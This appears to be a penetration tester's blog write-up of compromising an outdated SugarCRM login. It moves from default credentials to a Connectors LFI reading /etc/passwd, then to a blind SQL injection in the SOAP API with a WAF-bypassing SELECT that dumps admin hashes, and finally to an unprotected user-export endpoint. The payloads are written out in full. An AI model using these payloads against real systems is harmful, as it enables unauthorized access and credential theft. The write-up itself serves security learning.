It all began with a simple message: “Can you check out this site – xyz.com – and see what’s possible?”
A familiar challenge. I visited the site and was greeted with nothing more than a login page, labeled for employees only. No registration, no password recovery – just a door with no key.
But one line stood out:
“Welcome to Sugar Community Edition.”
As someone not deeply familiar with SugarCRM at the time, I fired up BurpSuite and simultaneously began researching the platform. I also noticed the version was ancient:
“© 2004–2013 SugarCRM Inc. Licensed under AGPLv3.”
Boom. An outdated CRM. Time to dig.
Recon & Entry
First stop? The CVE minefield. Most public exploits require at least authenticated user access. Since I had none, I pivoted: searching stealer dumps, leaked credentials, nothing hit. So I fell back on every pentester’s guilty pleasure: default creds.
Tried the usual suspects:
admin:admin → ❌ admin:admin1234 → ❌ administrator:administrator → ❌ test:test → ✅
Yes, really. “test:test” worked. With low privileges, but access nonetheless, I was in.
Vulnerability #1: LFI via Connectors
Once authenticated, I hit familiar ground: looking for misconfigurations and classic bugs. I stumbled upon a juicy Local File Inclusion (LFI) vulnerability via:
https://xyz.com/index.php?module=Connectors&action=CallRest&url=file:///etc/passwd
Boom – clean /etc/passwd dump. From there, I explored configs:
Eventually, config.php dropped the jackpot – MySQL credentials.
Unfortunately, the DB only accepted localhost connections, blocking remote access. So with creds in hand but no port to knock on, I moved on.
Vulnerability #2: SOAP API SQL Injection
Time to poke the SOAP API. SugarCRM’s full SOAP documentation was available at /soap.php, and I built out test payloads.
Sample Soap Request:
POST /soap.php HTTP/2 Host: xyz.com Content-Length: 913 Accept-Encoding: gzip, deflate, br Accept: */* Content-Type: text/xml; charset=utf-8 Soapaction: login User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0 Cookie: PHPSESSID=valid_session_id <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://www.sugarcrm.com/sugarcrm"> <soapenv:Header/> <soapenv:Body> <ser:get_entry_list> <session>valid_session_for_soap</session> <module_name>Users</module_name> <query>users.`user_name`='test'</query> <order_by>user_name</order_by> <offset>0</offset> <select_fields> <item>id</item> <item>user_name</item> <item>user_hash</item> </select_fields> <link_name_to_fields_array></link_name_to_fields_array> <max_results>10</max_results> <deleted>0</deleted> </ser:get_entry_list> </soapenv:Body> </soapenv:Envelope>
Eventually, I found a Boolean-based Blind SQLi vulnerability in the get_entry_list SOAP method:
<query>users.`user_name`='test' AND 1=1</query> → 16000 bytes <query>users.`user_name`='test' AND 1=2</query> → 1400 bytes
Payloads were returning based on condition truthiness – classic blind SQLi behavior.
I started with admin enumeration:
<query> users.`user_name`='test' AND (/*bypass*/SELECT/**/ count(`user_name`) FROM users WHERE `is_admin`=1 AND `status`='Active') > 0 </query>
Turns out, the WAF was only blocking select, not the whole payload. So /**/SELECT/**/ got around it. Easy win. So in the above query I checked if the total users with admin privileges and active status is more than 0 or not. Basically to check the count of admin users.
Then came admin username extraction via substring checks:
<query> users.`user_name`='test' AND SUBSTRING((/**/SELECT/**/ `user_name` FROM users WHERE `is_admin`=1 LIMIT 1),1,1)='a' </query>
Followed by password hash dumping:
<query> users.`user_name`='test' AND ORD(SUBSTRING((/**/SELECT/**/ `user_hash` FROM users WHERE `user_name`='admin_username'),{pos},1))={ascii_val} </query>
Eventually, I extracted the full MD5-Crypt hash:
$1$YQ6sh7z2$YUdDhDYdbWvmVQkBW8N/F0 (Example Hash not the actual one)
A quick dictionary attack using rockyou.txt, and boom:
Password cracked: morningstar1 (Example password not the actual one)
Now I had full admin credentials.
Vulnerability #3: Broken Authorization
With admin access, I found a button labeled “Export Users”, which dumped all user data in a CSV.
Out of curiosity, I logged back in as the low-privileged test user and directly hit:
https://xyz.com/index.php?entryPoint=export&module=Accounts&action=index&all=true
And what do you know – no access control at all.
Even low-priv users could export all user data.
So much for role-based access control…
Conclusion
From a simple login page and outdated software banner, this journey led to:
All from “test:test”.
This was a fun one. If you’d like a follow-up post on how I got RCE from here, drop a comment or DM.
💬 Share it, bookmark it, and tag me if you’re feeling generous.
Until next time — stay curious, stay dangerous. 🔥
If you have any doubts and queries do message me at @i.m.gauravchaudhary